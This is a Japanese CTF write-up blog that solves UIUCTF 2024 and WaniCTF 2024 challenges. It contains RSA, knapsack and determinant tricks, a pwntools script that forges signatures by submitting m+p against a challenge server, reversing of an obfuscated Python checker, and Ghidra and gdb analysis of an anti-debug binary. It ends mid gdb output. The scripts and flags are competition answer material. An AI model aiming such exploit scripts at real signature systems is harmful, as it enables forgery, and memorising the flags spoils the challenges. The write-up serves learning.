[WAT] Define diag(u1, u2, u3. u4, u5)
[WAT] u1 = 1
[WAT] u2 = 1
[WAT] u3 = 1
[WAT] u4 = 1
[WAT] u5 = 1
[WAT] Have fun: 2000128101369
[*] Closed connection to without-a-trace.chal.uiuc.tf port 1337
[+] Opening connection to without-a-trace.chal.uiuc.tf on port 1337: Done
[WAT] Welcome
[WAT] Define diag(u1, u2, u3. u4, u5)
[WAT] u1 = 2
[WAT] u2 = 1
[WAT] u3 = 1
[WAT] u4 = 1
[WAT] u5 = 1
[WAT] Have fun: 2504408575853
[*] Closed connection to without-a-trace.chal.uiuc.tf port 1337
[+] Opening connection to without-a-trace.chal.uiuc.tf on port 1337: Done
[WAT] Welcome
[WAT] Define diag(u1, u2, u3. u4, u5)
[WAT] u1 = 1
[WAT] u2 = 2
[WAT] u3 = 1
[WAT] u4 = 1
[WAT] u5 = 1
[WAT] Have fun: 2440285994541
[*] Closed connection to without-a-trace.chal.uiuc.tf port 1337
[+] Opening connection to without-a-trace.chal.uiuc.tf on port 1337: Done
[WAT] Welcome
[WAT] Define diag(u1, u2, u3. u4, u5)
[WAT] u1 = 1
[WAT] u2 = 1
[WAT] u3 = 2
[WAT] u4 = 1
[WAT] u5 = 1
[WAT] Have fun: 2426159182680
[*] Closed connection to without-a-trace.chal.uiuc.tf port 1337
[+] Opening connection to without-a-trace.chal.uiuc.tf on port 1337: Done
[WAT] Welcome
[WAT] Define diag(u1, u2, u3. u4, u5)
[WAT] u1 = 1
[WAT] u2 = 1
[WAT] u3 = 1
[WAT] u4 = 2
[WAT] u5 = 1
[WAT] Have fun: 2163980646766
[*] Closed connection to without-a-trace.chal.uiuc.tf port 1337
[+] Opening connection to without-a-trace.chal.uiuc.tf on port 1337: Done
[WAT] Welcome
[WAT] Define diag(u1, u2, u3. u4, u5)
[WAT] u1 = 1
[WAT] u2 = 1
[WAT] u3 = 1
[WAT] u4 = 1
[WAT] u5 = 2
[WAT] Have fun: 2465934208374
[*] Closed connection to without-a-trace.chal.uiuc.tf port 1337
uiuctf{tr4c1ng_&&_mult5!}
uiuctf{tr4c1ng_&&_mult5!}

Determined (Cryptography)

サーバの処理概要は以下の通り。

・M = inputs()
 ・M: すべて0の5×5の行列配列
 ・M[0][0] = p(未知)
 ・M[0][2]: 入力
 ・M[0][4]: 入力
 ・M[1][1]: 入力
 ・M[1][3]: 入力
 ・M[2][0]: 入力
 ・M[2][2]: 入力
 ・M[2][4]: 入力
 ・M[3][1] = q(未知)
 ・M[3][3] = r(未知)
 ・M[4][0]: 入力
 ・M[4][2]: 入力
・res = fun(M)
・resを表示

Mは以下のような形式の行列になる。

    [  p,   0, m02,   0, m04]
    [  0, m11,   0, m13,   0]
M = [m20,   0  m22,   0, m24]
    [  0,   q,   0,   r,   0]
    [m40,   0, m42,   0,   0]

fun関数は行列式を計算している。
例えば、以下の形式にすると、行列式はp * rになる。

    [  p,   0,   0,   0,   0]
    [  0,  -1,   0,   0,   0]
M = [  0,   0    0,   0,   1]
    [  0,   q,   0,   r,   0]
    [  0,   0,   1,   0,   0]

nとp * rから公約数を取ればpがわかり、qも算出できる。あとはこのことからRSA暗号の復号をすればフラグが得られる。

$ ncat --ssl determined.chal.uiuc.tf 1337
[DET] Welcome
[DET] First things first, gimme some numbers:
[DET] M[0][2] = 0
[DET] M[0][4] = 0
[DET] M[1][1] = -1
[DET] M[1][3] = 0
[DET] M[2][0] = 0
[DET] M[2][2] = 0
[DET] M[2][4] = 1
[DET] M[4][0] = 0
[DET] M[4][2] = 1
[DET] Have fun: 89650932835934569650904059412290773134844226367466628096799329748763412779644167490959554682308225788447301887591344484909099249454270292467079075688237075940004535625835151778597652605934044472146068875065970359555553547536636518184486497958414801304532202276337011187961205104209096129018950458239166991017
#!/usr/bin/env python3
from Crypto.Util.number import *

with open('gen.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

pr = 89650932835934569650904059412290773134844226367466628096799329748763412779644167490959554682308225788447301887591344484909099249454270292467079075688237075940004535625835151778597652605934044472146068875065970359555553547536636518184486497958414801304532202276337011187961205104209096129018950458239166991017

p = GCD(n, pr)
q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
uiuctf{h4rd_w0rk_&&_d3t3rm1n4t10n}

Naptime (Cryptography)

暗号化処理の概要は以下の通り。

・n = 8
・b = get_b(n=8)
 ・b = []
 ・bに128以上256以下のランダム整数を追加
 ・以下7回繰り返し(i)
  ・lb: bの合計値
  ・found = False
  ・foundがFalseの間以下繰り返し
   ・num: 2**(n + i)とlb + 1の最大値以上2**(n + i + 1)以下のランダム整数
   ・numがlbより大きい場合
    ・found = True
    ・bにnumを追加
 ※要素8個の超増加数列を生成
・M, W = get_MW(b)
 ・lb: bの合計
 ・M: lb + 1以上2*lb以下のランダム整数
 ・W: 1.5 * [bの長さ]の整数値のビット数の素数
 ・M, Wを返却
・a, pi = get_a(b, M, W)
 ・a_ = []
 ・bの各numについて以下を実行
  ・a_にnum * W % Mを追加
 ・pi: bの長さ未満の順列の一つをランダムに選択したもの
 ・a: bの長さのa_[pi[i]]の配列
  ※a_をランダムに並び替えたもの
 ・a, piを返却
・ct = enc(flag, a, n)
 ・bitstrings = []
 ・flagの各文字cについて以下を実行
  ・cのASCIIコードを2進数にしたものを8桁に0パディングし、bitstringsに追加する。
 ・ct = []
 ・bitstringsの各bitsについて以下を実行
  ・curr = 0
  ・bitsのインデックスi, 文字bについて以下を実行
   ・bが"1"の場合、currにa[i]をプラス
  ・ctにcurrを追加
 ・ctを返却
・aを出力
・ctを出力

bは超増加数列で、aは(num * W) % Mになっている。Merkle-Hellmanナップサック暗号になっており、シャミアの攻撃法でフラグを復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

with open('pub.txt', 'r') as f:
    params = f.read().splitlines()

a = eval(params[0].split(' = ')[1])
ct = eval(params[1].split(' = ')[1])

n = len(a)
MULTIPLIER = 100

flag = ''
for i in range(len(ct)):
    M = matrix(ZZ, n + 1, n + 1)
    M.set_block(0, 0, MULTIPLIER * matrix(n, 1, a))
    M.set_block(n, 0, MULTIPLIER * matrix([-ct[i]]))
    M.set_block(0, 1, 2 * identity_matrix(n))
    M.set_block(n, 1, matrix([-1] * n))

    for x in M.LLL():
        if all(x_i in [-1, +1] for x_i in x[1:]):
            bits = 0
            for x_i in x[1:]:
                bits *= 2
                bits += int(x_i == +1)
            break

    flag += chr(bits)

print(flag)
uiuctf{i_g0t_sleepy_s0_I_13f7_th3_fl4g}

Snore Signatures (Cryptography)

サーバの処理概要は以下の通り。

・LOOP_LIMIT = 2000
・p, q, g = gen_snore_group()
 ・q: 512ビット素数
 ・LOOP_LIMITだけ以下繰り返し
  ・X: 1024ビットランダム整数
  ・p = X - X % (2 * q) + 1
  ・pが素数の場合、繰り返し終了
 ・r = (p - 1) // q
 ・LOOP_LIMITだけ以下繰り返し
  ・h: 2以上p-1以下のランダム整数
  ・pow(h, r, p) が1以外の場合、繰り返し終了
 ・g = pow(h, r, p)
 ・(p, q, g)を返却
・p, q, gを表示
・queries = []
・10回以下繰り返し
 ・x, y = snore_gen(p, q, g)
  ・x: 1以上q-1以下ランダム整数
  ・y = pow(g, -x, p)
  ・(x, y)を返却
 ・yを表示
 ・m: 数値入力
 ・queriesにmを追加
 ・s, e = snore_sign(p, q, g, x, m)
  ・k: 1以上q-1以下ランダム整数
  ・r = pow(g, k, p)
  ・e = hash((r + m) % p) % q
   ・output = 0
   ・3回以下繰り返し
    ・output: ([(r + m) % pのバイト文字列] + [iのバイト文字列])のsha512のダイジェストを
         16進数表記したものを数値にして、(512 * i)ビット左シフトしたものとoutputをXOR
   ・outputを返却
  ・s = (k + x * e) % q
  ・(s, e)を返却
 ・s、eを表示
 ・m: 数値入力
 ・s: 数値入力
 ・mがqueriesにある場合、終了
 ・snore_verify(p, q, g, y, m, s, e)がFalseの場合、終了
 ・queriesにmを追加
・フラグを表示

よく見ると、入力チェックが甘い。1回目のmに対して、2回目にm+pを指定すれば必ず成り立つ。

#!/usr/bin/env python3
from pwn import *

r = remote('snore-signatures.chal.uiuc.tf', 1337, ssl=True)

data = r.recvline().decode().rstrip()
print(data)
p = int(data.split(' ')[-1])
data = r.recvline().decode().rstrip()
print(data)
data = r.recvline().decode().rstrip()
print(data)

for i in range(10):
    data = r.recvline().decode().rstrip()
    print(data)
    data = r.recvline().decode().rstrip()
    print(data)

    data = r.recvuntil(b'= ').decode()
    print(data + str(i))
    r.sendline(str(i).encode())
    data = r.recvline().decode().rstrip()
    print(data)
    s = int(data.split(' ')[-1])
    data = r.recvline().decode().rstrip()
    print(data)
    data = r.recvline().decode().rstrip()
    print(data)

    data = r.recvuntil(b'= ').decode()
    print(data + str(p + i))
    r.sendline(str(p + i).encode())
    data = r.recvuntil(b'= ').decode()
    print(data + str(s))
    r.sendline(str(s).encode())
    data = r.recvline().decode().rstrip()
    print(data)

data = r.recvline().decode().rstrip()
print(data)
data = r.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to snore-signatures.chal.uiuc.tf on port 1337: Done
p = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306333
q = 7876721542069803440502484358868287319474506698532914772431945140789658028031057012671834645200928549155586041542723205652322347374566510092259630239463827
g = 2069024689829247413403764678005999787780137685279750223691342633019952210703135616792534854616926098191303819017866236807970363629898827404770609739024644275600724539946585765650843655444242311287120177638697216561519919229771120879411058942157528837378416095176564280273043921370532040472575658887621761307
y = 8645622220949685041240355138378532133901307759300049121470867585666550655036197683949747988521367780518976819359067976500644393514138262831691874792873198781152063809826958106510008441356555368675777569352992836323312826547453159984410786547699784937669296255120940431242787262605695157528066392260702195007
you get one query to the oracle
m = 0
s = 5048110493181362691297796168264774731665565496567375727890348067936780809862752604586487821783331328338127312802563033450049142450039217368303993940577295
e = 6078051394323606604024115640588697702090803454854752615753098979464945946121464935074478776079523730827786628012481161218537871294278840115360836522218688
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306333
s = 5048110493181362691297796168264774731665565496567375727890348067936780809862752604586487821783331328338127312802563033450049142450039217368303993940577295
correct signature!
y = 11334839683849688524046158364674951838089661997798231924953430573921195626315510917744826006380828369253425898753717408126558307759743821089823606278157665551387443793874218844201003107348633361933915494922121533504343654538031338749829492028729471657678836819641654905790485518375110992544399796131874071394
you get one query to the oracle
m = 1
s = 725132466970494466998159126753376935415686199636897237561113981412161806372476596628294981579180425552344754465363483019252587334114383167598903155774863
e = 1467206386223620211942248870799567349867475076316775144544989853439138494484683779474457485681324268647399968588589226810772279051412424692252292790385713
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306334
s = 725132466970494466998159126753376935415686199636897237561113981412161806372476596628294981579180425552344754465363483019252587334114383167598903155774863
correct signature!
y = 4007459262867683634645251868771882139527169123234061240266599554256237854137689046578162021800042235636132696901886969358154967411767464892755474687897791358015464810699595938274787182049966413434241093657627522575269167310759560845708599423530117596389429394663397373941846750698600120876990710286790968996
you get one query to the oracle
m = 2
s = 5626271030442963119756755719651482376791196468437352844824280401321884530822802470072268390421230494953828275754509566036981457938967872595498539969769061
e = 2314349706567110133519609601452528222805877677504465624899520542877232641392306611715058822789273325630141668652760290208572894792014960939885936831339698
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306335
s = 5626271030442963119756755719651482376791196468437352844824280401321884530822802470072268390421230494953828275754509566036981457938967872595498539969769061
correct signature!
y = 810857574689382065384514119364094661964022146168646793976444108968327211048899679254761384088346425709983691336914888829034697959243709447113904223152598089294085946956993131497630137505727691419187377926804059939874185455119820339143956189402813171839416445459291447535100994856343918596418063629845472765
you get one query to the oracle
m = 3
s = 5642243486827005896954569791919643152365371285201092642261957514748659423073959296680637135691032184255295907590896431396629942000908734993912795464591121
e = 870188239953989037210685314977049304481103455839427692054816181870688381877864514643525620514960080280421543390111037988243008834471665125902727594510205
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306336
s = 5642243486827005896954569791919643152365371285201092642261957514748659423073959296680637135691032184255295907590896431396629942000908734993912795464591121
correct signature!
y = 11218875214007376830619422719774677682708252795252329823647039225424586845462787980832376093099561045856461637522860438069119566943996191913546888781319986240909489232882873877260201536138420708420086912572795262534597414877958504084181964862021569817338095808572088197115838493923007294192803544133822385242
you get one query to the oracle
m = 4
s = 6629187246596354716620652915287551531492876083339957018673049684617884282030113157824104022203525505424518711363453792389170229364585232820963919170441379
e = 2019273670674861266558426725442584591161238007873354305916975235825647227914527441843797014627436583042578677252354300421262959190112665011179216804313559
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306337
s = 6629187246596354716620652915287551531492876083339957018673049684617884282030113157824104022203525505424518711363453792389170229364585232820963919170441379
correct signature!
y = 3190282629176451798082417838762712058486651286121450758316674464713339166835995863391385646691495305245660511535135648458614945436798665185949231408217335128692039137867816904294707819392005213431713487340660011368411870362506511176477819722892076969438091680734641317687867451354911772245040306572058943800
you get one query to the oracle
m = 5
s = 2006822978292529675854242650127135513540600681864320996714745045076803264487932488416570964171870990321451188543603628182906373570278295902342719272161502
e = 7030993066640724490869268250750395581449620103442101422390038261597697866347661182883778811031916160826413668484224476982574958566509100537761701513444263
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306338
s = 2006822978292529675854242650127135513540600681864320996714745045076803264487932488416570964171870990321451188543603628182906373570278295902342719272161502
correct signature!
y = 3468493208766693943699355242209015202411666408117171870426575827292025043186922975076131931793604768978538093898568816591298000791828719761690718847360012522747457253756083191509292545957399409615760012771083205413596433475566516572328738100830274748054759218779111554119749566687851926123002030193147135574
you get one query to the oracle
m = 6
s = 1582387921911076985485232587709076847733307117522888497423691941325210258492162789245899440993528277055302503971387010648636928076538915395967167177129307
e = 5524623040910127193132319659942283287944962879975984952291583818331402639900707431898434059452150708694670148766204261503222902226508479026182884378844201
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306339
s = 1582387921911076985485232587709076847733307117522888497423691941325210258492162789245899440993528277055302503971387010648636928076538915395967167177129307
correct signature!
y = 6754374684004140134214874253192597821290708600520486613999294770475072570731818496205923777289180660196411298835101696492091528002645513904247425885018224056673786723665933028543081625471449748632054469310115117462533917758255403049922691853004079258624188441477492018319086829128066105866633843745745523261
you get one query to the oracle
m = 7
s = 113263329347205788113528985304711810767710180416973137119448320661573179360373402841653963295433092919983273560061589216135530781417862421993684101533143
e = 1178081196185899696013280233727534155093136592790970158640520863659791036642026456206511813435565829847444523810772409056565027391975500266969955172491236
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306340
s = 113263329347205788113528985304711810767710180416973137119448320661573179360373402841653963295433092919983273560061589216135530781417862421993684101533143
correct signature!
y = 2590843797238960102193459772923962295285477798404645184105208304815615986837940340147937283451796581433005566009695700553125796303046335205829292406525520806873206048480465257344341247421603820113847950494805536407507629462093160630843885751994446861597251925590320218138290556766976039628288977050114483958
you get one query to the oracle
m = 8
s = 2838390437252972423716832657124924123521908291784494872848947638660775161173161953030946586925255355172225907674543759427230035864581003437954331354786157
e = 4373804456692683332349698709145737187690093775030634867362503004892232909448376708501132396903627945789308273365182755692915469906143677349788416496396886
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306341
s = 2838390437252972423716832657124924123521908291784494872848947638660775161173161953030946586925255355172225907674543759427230035864581003437954331354786157
correct signature!
y = 928165700275168392271243787969488767164377566409975286730023079403057191669249152959043298509984587287491974379560202138531581924358938224558502413406657518935171547003874036456171945791786339538954114111376329266928604206570183850537638965162477135983349572638555649786808376801378779132907259921237681214
you get one query to the oracle
m = 9
s = 6682927399268660448114151561076690780393657581559150499998777924729591403123326711098685349792037579656963321067358079195287319520547653981983842206723505
e = 1766129393286536057999519622882191599238733184288233377820287271626491644628771927242731982549664403509911036665436853531510672061776547217747216973755684
can you forge a signature?
m = 14362122615459539031559535714440495954555152066167121756929433345078337204241894590439294649822745793288353795636740040194262551787694788067402619665121688452424225749779232205796547599005889808831706118503395937342405094300033489431187877889562956452944966154706073907939942021228718131823307839600961306342
s = 6682927399268660448114151561076690780393657581559150499998777924729591403123326711098685349792037579656963321067358079195287319520547653981983842206723505
correct signature!
you win!
uiuctf{add1ti0n_i5_n0t_c0nc4t3n4ti0n}
[*] Closed connection to snore-signatures.chal.uiuc.tf port 1337
uiuctf{add1ti0n_i5_n0t_c0nc4t3n4ti0n}

Feedback Survey (Miscellaneous)

アンケートに答えたら、以下のメッセージが表示された。

hank you for giving us your feedback!

THIS IS THE FLAG: f33d_u5_f33db4ck (wrap it in the flag format)

DO NOT SUBMIT THIS FLAG (if you submit it, we will not give you points for the feedback survey challenge): uiuctf{i_submitted_this_flag_with_a_script_because_i_am_lame_or_i_just_cant_follow_directions}

"f33d_u5_f33db4ck"にフラグの形式になるようラッピングする。

uiuctf{f33d_u5_f33db4ck}

Wani CTF 2024 Writeup

この大会は2024/6/21 21:00(JST)~2024/6/23 21:00(JST)に開催されました。
今回もチームで参戦。結果は3341点で1022チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

nc (Pwnable)

10進数で10を入力すれば、win関数をコールし、フラグを表示できる。

$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}

lambda (Reversing)

Pythonコードを整形し、解析する。

(lambda _0: _0(input))(
    lambda _1: (lambda _2: _2("Enter the flag: "))(
        lambda _3: (lambda _4: _4(_1(_3)))(
            lambda _5: (lambda _6: _6("".join))(
                lambda _7: (
                    lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9)))★各ASCIIコードに+12して文字に変換
                )(
                    lambda _10: (lambda _11: _11("".join))(
                        lambda _12: (
                            lambda _13: _13((chr(ord(c) - 3) for c in _10(_5)))★各ASCIIコードに-3して文字に変換
                        )(
                            lambda _14: (lambda _15: _15(_12(_14)))(
                                lambda _16: (lambda _17: _17("".join))(
                                    lambda _18: (
                                        lambda _19: _19(
                                            lambda _20: _18(
                                                (chr(123 ^ ord(c)) for c in _20)★各ASCIIコードと123をXORして文字に変換
                                            )
                                        )
                                    )(
                                        lambda _21: (lambda _22: _22("".join))(
                                            lambda _23: (
                                                lambda _24: _24((_21(c) for c in _16))
                                            )(
                                                lambda _25: (lambda _26: _26(_23(_25)))(
                                                    lambda _27: (
                                                        lambda _28: _28(
                                                            "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
                                                        )
                                                    )(
                                                        lambda _29: (
                                                            lambda _30: _30("".join)
                                                        )(
                                                            lambda _31: (
                                                                lambda _32: _32(
                                                                    (
                                                                        chr(
                                                                            int(c, 36)★36進数を10進数に変換し、+10
                                                                            + 10
                                                                        )
                                                                        for c in _29.split(★"16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r""_"区切り
                                                                            "_"
                                                                        )
                                                                    )
                                                                )
                                                            )(
                                                                lambda _33: (
                                                                    lambda _34: _34(
                                                                        _31(_33)
                                                                    )
                                                                )(
                                                                    lambda _35: (
                                                                        lambda _36: _36(
                                                                            lambda _37: lambda _38: _37
                                                                            == _38
                                                                        )
                                                                    )(
                                                                        lambda _39: (
                                                                            lambda _40: _40(
                                                                                print
                                                                            )
                                                                        )(
                                                                            lambda _41: (
                                                                                lambda _42: _42(
                                                                                    _39
                                                                                )
                                                                            )(
                                                                                lambda _43: (
                                                                                    lambda _44: _44(
                                                                                        _27
                                                                                    )
                                                                                )(
                                                                                    lambda _45: (
                                                                                        lambda _46: _46(
                                                                                            _43(
                                                                                                _45
                                                                                            )
                                                                                        )
                                                                                    )(
                                                                                        lambda _47: (
                                                                                            lambda _48: _48(
                                                                                                _35
                                                                                            )
                                                                                        )(
                                                                                            lambda _49: (
                                                                                                lambda _50: _50(
                                                                                                    _47(
                                                                                                        _49
                                                                                                    )
                                                                                                )
                                                                                            )(
                                                                                                lambda _51: (
                                                                                                    lambda _52: _52(
                                                                                                        "Correct FLAG!"
                                                                                                    )
                                                                                                )(
                                                                                                    lambda _53: (
                                                                                                        lambda _54: _54(
                                                                                                            "Incorrect"
                                                                                                        )
                                                                                                    )(
                                                                                                        lambda _55: (
                                                                                                            lambda _56: _56(
                                                                                                                _41(
                                                                                                                    _53
                                                                                                                    if _51
                                                                                                                    else _55
                                                                                                                )
                                                                                                            )
                                                                                                        )(
                                                                                                            lambda _57: lambda _58: _58
                                                                                                        )
                                                                                                    )
                                                                                                )
                                                                                            )
                                                                                        )
                                                                                    )
                                                                                )
                                                                            )
                                                                        )
                                                                    )
                                                                )
                                                            )
                                                        )
                                                    )
                                                )
                                            )
                                        )
                                    )
                                )
                            )
                        )
                    )
                )
            )
        )
    )
)

入力文字に以下の処理を順にしている。

・各ASCIIコードに+12して文字に変換
・各ASCIIコードに-3して文字に変換
・各ASCIIコードと123をXORして文字に変換

"16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"の"_"区切りの36進数文字列を10進数に変換し、+10したものと比較している。
このことを前提に入力文字列を復号する。

#!/usr/bin/env python3
enc = '16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'
enc = enc.split('_')

flag = ''
for c in enc:
    flag += chr(((int(c, 36) + 10) ^ 123) + 3 - 12)
print(flag)
FLAG{l4_1a_14mbd4}

home (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char *pcVar1;
  long lVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar1 = getcwd(local_418,0x400);
  if (pcVar1 == (char *)0x0) {
    perror("Error");
    uVar3 = 1;
  }
  else {
    pcVar1 = strstr(local_418,"Service");
    if (pcVar1 == (char *)0x0) {
      puts(";)");
    }
    else {
      puts("Check passed!");
      lVar2 = ptrace(PTRACE_TRACEME,0,0,0);
      if (lVar2 == -1) {
        puts("Debugger detected!");
        uVar3 = 1;
        goto LAB_00101a3e;
      }
      constructFlag();
    }
    uVar3 = 0;
  }
LAB_00101a3e:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

undefined8 constructFlag(void)

{
  bool bVar1;
  int local_128;
  int local_124;
  int local_120;
  int local_11c;
  uint local_118 [44];
  char acStack_68 [55];
  byte local_31;
  
  memcpy(local_118,&DAT_00102010,0xb0);
  local_11c = 0;
  local_128 = 0x7c46699a;
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          while( true ) {
            while( true ) {
              while( true ) {
                while( true ) {
                  while( true ) {
                    while( true ) {
                      while (local_128 == -0x5ddba386) {
                        local_124 = local_124 + 1;
                        bVar1 = (x * (x + -1) & 1U) == 0;
                        local_128 = 0x60b926fc;
                        if (bVar1 && y < 10 || bVar1 != y < 10) {
                          local_128 = -0x51fc1498;
                        }
                      }
                      if (local_128 != -0x51fc1498) break;
                      local_128 = 0x19056f3d;
                    }
                    if (local_128 != -0x44e001df) break;
                    local_128 = 0x54525dca;
                    if ((local_31 & 1) != 0) {
                      local_128 = -0x1c311557;
                    }
                  }
                  if (local_128 != -0x34d6a440) break;
                  bVar1 = (x * (x + -1) & 1U) != 0;
                  local_128 = 0x58d9f831;
                  if (bVar1 != 9 < y || !bVar1 && 9 >= y) {
                    local_128 = -0x1d900a39;
                  }
                }
                if (local_128 != -0x2d337dcd) break;
                local_120 = local_120 + 1;
                local_128 = 0x694bd910;
              }
              if (local_128 != -0x2462fe04) break;
              local_128 = -0x22f9de40;
            }
            if (local_128 != -0x22f9de40) break;
            bVar1 = (x * (x + -1) & 1U) != 0;
            local_128 = 0x60b926fc;
            if (bVar1 != 9 < y || !bVar1 && 9 >= y) {
              local_128 = -0x5ddba386;
            }
          }
          if (local_128 != -0x21c3cf2d) break;
          local_31 = local_120 < 0x2c;
          bVar1 = (x * (x + -1) & 1U) == 0;
          local_128 = 0x34e86ff4;
          if (bVar1 && y < 10 || bVar1 != y < 10) {
            local_128 = -0x44e001df;
          }
        }
        if (local_128 != -0x1d900a39) break;
        acStack_68[local_124] = (char)local_118[local_124] - (char)local_124;
        bVar1 = (x * (x + -1) & 1U) == 0;
        local_128 = 0x58d9f831;
        if (bVar1 != y < 10 || bVar1 && y < 10) {
          local_128 = -0x2462fe04;
        }
      }
      if (local_128 != -0x1c311557) break;
      local_118[local_120] =
           (local_118[local_120] ^ 0xffffffff) & 0x19f | local_118[local_120] & 0xfffffe60;
      local_128 = -0x2d337dcd;
    }
    if (local_128 == 0x19341ee) break;
    if (local_128 == 0x19056f3d) {
      local_128 = 0x19341ee;
      if (local_124 < 0x2c) {
        local_128 = -0x34d6a440;
      }
    }
    else if (local_128 == 0x25d256eb) {
      local_118[local_11c] = (int)local_118[local_11c] / 2;
      local_128 = 0x299ff63b;
    }
    else if (local_128 == 0x299ff63b) {
      local_11c = local_11c + 1;
      local_128 = 0x7c46699a;
    }
    else if (local_128 == 0x33ee2572) {
      local_120 = 0;
      local_128 = 0x694bd910;
    }
    else if (local_128 == 0x34e86ff4) {
      local_128 = -0x21c3cf2d;
    }
    else if (local_128 == 0x54525dca) {
      local_124 = 0;
      local_128 = 0x19056f3d;
    }
    else if (local_128 == 0x58d9f831) {
      acStack_68[local_124] = (char)local_118[local_124] - (char)local_124;
      local_128 = -0x1d900a39;
    }
    else if (local_128 == 0x60b926fc) {
      local_124 = local_124 + 1;
      local_128 = -0x5ddba386;
    }
    else if (local_128 == 0x694bd910) {
      bVar1 = (x * (x + -1) & 1U) == 0;
      local_128 = 0x34e86ff4;
      if (bVar1 && y < 10 || bVar1 != y < 10) {
        local_128 = -0x21c3cf2d;
      }
    }
    else if ((local_128 == 0x7c46699a) && (local_128 = 0x33ee2572, local_11c < 0x2c)) {
      local_128 = 0x25d256eb;
    }
  }
  printf("Processing completed!");
  return 0;
}

gdbでconstructFlag関数に飛び、その終了時のスタックを確認する。

$ gdb -q ./chal_home                                                                                       
Reading symbols from ./chal_home...
(No debugging symbols found in ./chal_home)
gdb-peda$ start
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
RAX: 0x555555555977 (<main>:    endbr64)
RBX: 0x7fffffffde88 --> 0x7fffffffe218 ("/mnt/hgfs/Shared/chal_home")
RCX: 0x7ffff7f9b680 --> 0x7ffff7f9cfc0 --> 0x0 
RDX: 0x7fffffffde98 --> 0x7fffffffe233 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffde88 --> 0x7fffffffe218 ("/mnt/hgfs/Shared/chal_home")
RDI: 0x1 
RBP: 0x7fffffffdd70 --> 0x1 
RSP: 0x7fffffffdd70 --> 0x1 
RIP: 0x55555555597f (<main+8>:  sub    rsp,0x410)
R8 : 0x555555555ad0 (<__libc_csu_fini>: endbr64)
R9 : 0x7ffff7fcfb30 (<_dl_fini>:        push   rbp)
R10: 0x7fffffffdaa0 --> 0x800000 
R11: 0x206 
R12: 0x0 
R13: 0x7fffffffde98 --> 0x7fffffffe233 ("CLUTTER_IM_MODULE=xim")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555977 <main>:       endbr64
   0x55555555597b <main+4>:     push   rbp
   0x55555555597c <main+5>:     mov    rbp,rsp
=> 0x55555555597f <main+8>:     sub    rsp,0x410
   0x555555555986 <main+15>:    mov    rax,QWORD PTR fs:0x28
